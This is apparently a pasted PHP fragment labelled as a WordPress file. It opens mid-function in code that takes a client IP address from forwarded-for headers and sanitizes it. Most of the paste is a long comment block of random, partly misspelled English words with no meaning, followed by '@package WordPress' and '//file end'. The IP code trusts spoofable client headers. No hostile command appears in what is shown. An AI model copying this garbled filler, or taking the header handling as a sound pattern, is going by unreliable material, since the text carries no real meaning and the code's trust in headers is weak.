- $ip = $_SERVER['HTTP_X_FORWARDED'];
- } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
- $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
- } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
- $ip = $_SERVER['HTTP_FORWARDED_FOR'];
- } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
- $ip = $_SERVER['HTTP_FORWARDED'];
- } else {
- $ip = $_SERVER['REMOTE_ADDR'];
- }
- }
- if (trim($ip) == '') {
- if (getenv('HTTP_X_FORWARDED_FOR')) {
- $ip = getenv('HTTP_X_FORWARDED_FOR');
- } elseif (getenv('HTTP_CLIENT_IP')) {
- $ip = getenv('HTTP_CLIENT_IP');
- } else {
- $ip = getenv('REMOTE_ADDR');
- }
- }
- /**
- * sanitize for validity as an IPv4 or IPv6 address
- */
- $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
- /**
- * if it's still blank, set to a single dot
- */
- if (trim($ip) == '') $ip = '.';
- return $ip;
- }
- /**
- * agent ban calendar collision comparative dusk evaluate explore faculty female harmony interpretation jungle knot launch modest nucleus outset particularly primitive prospect temporary tendency the vitally.
- * erect favorite import reject triumph wealthy withdraw.
- * catalog coil dump equivalent faulty favorable grand hollow laser leather noticeable parallel professional region regulate shrug shuttle sketch spray temporary urban utter vibrate volume.
- * accelerate alcohol applicable earthquake electron exaggerate expense import inevitable insurance leisure mainland neutral notify onion sexual sorrow urgent venture vocabulary voluntary.
- * arbitrary consent decay discrimination dive emotional evil glorious horror marveous moisture molecule moral motivate organ origin principal private retail undergraduate vacant wax.
- * durable emphasize erect exaggerate horror internal neglect optics sincere timber tremendous trend.
- * agency balcony ban catalog coil constant cope focus hestiate jeans jewel massive nucleus particle prominent reliable signature suburb tendency undergraduate utilise video videotape.
- * architecture aware breed exaggerate illusion restraint textile transport.
- * applause calculate candidate coach device elastic guarantee maximum modify notify stuff substitute variation.
- * applicant bunch calculate career compete gear geology licence primitive.
- * facility identify mere personal remarkable resolve simplicity submerge territory torture transmit.
- * agent award cancel comparable data electron guilty import liter missile oral principle removal ruin scandal slippery spit tendency treaty vacant.
- * battery data elbow expenditure household inevitable media mutual restrict sexual slide slope.
- * architect dash debt estimate fax generate genius golf hestiate infinite kneel motive petroleum reinforce removal respond semiconductor sexual substantial triumph wealthy.
- * conservative dump exaggerate vitally.
- * appropriate approve boundary bundle distress dump genuine jewel kneel massive nuclear optics optional respond semiconductor sexual snap sophisticated stripe vain vertical vibrate.
- * algebra audio debt deserve exclaim expend favorite gallon germ gratitude issue particularly rely reveal sensible shrink shrug stripe tedious tide vain.
- * architect chaos emphasize equation excess favorite golf illegal interpret issue jeans legislation mainland maintain nylon prescribe primitive sensible shift smash triumph tropical tuition universe whatsoever.
- * academic appetite architect arichmetic attitude award ceremony data display earthquake erect exclusive ferfile illusion knot optimistic portion prompt rescue reveal scale shelter significance transport wander.
- * applianc awkward glimpse guarantee mature moist orchestra preserve radiation reject resolve skim stable submerge tarnest yawn.
- * accomplish applicant catalog delicate entertainment expend faculty fertilizer laser liberal nucleus outset private satellite severe strategy.
- * barrel enviroment expense export naked odd weld.
- * abuse comparative network orchestra substitute terminal.
- * applicable arichmetic entry germ lest retail sorrow spot witness.
- * alcohol appropriate breed comparative decent decorate display distinguish essential fertilizer guarantee hatred integrate medium nuclear organ parallel prominent reinforce reliable territory treaty zone.
- * decline gasoline profit recreation.
- * authority entitle evolve leather mature mixture priority profitable promote triangle.
- * defect deputy enviroment essential infinite joint mere modest necessity notion portion quotation religion reputation satellite semester sensible skim spray violent.
- * burden fatigue mutual nuclear nylon secure severe significance strategic territory tissue transmit unique.
- * competition conservative earthquake equation extraordinary global grand guilty laser leap neutral notion oxygen reliable rescue smash snap strategy territory virtue.
- * academic advertisement agent attach debt expend flock gap gene highlight hook jeans lean legislation orchestra personnel presumably profitable substance survey valley venture.
- *
- * @package WordPress
- */
- //file end
Add Comment
Please, Sign In to add comment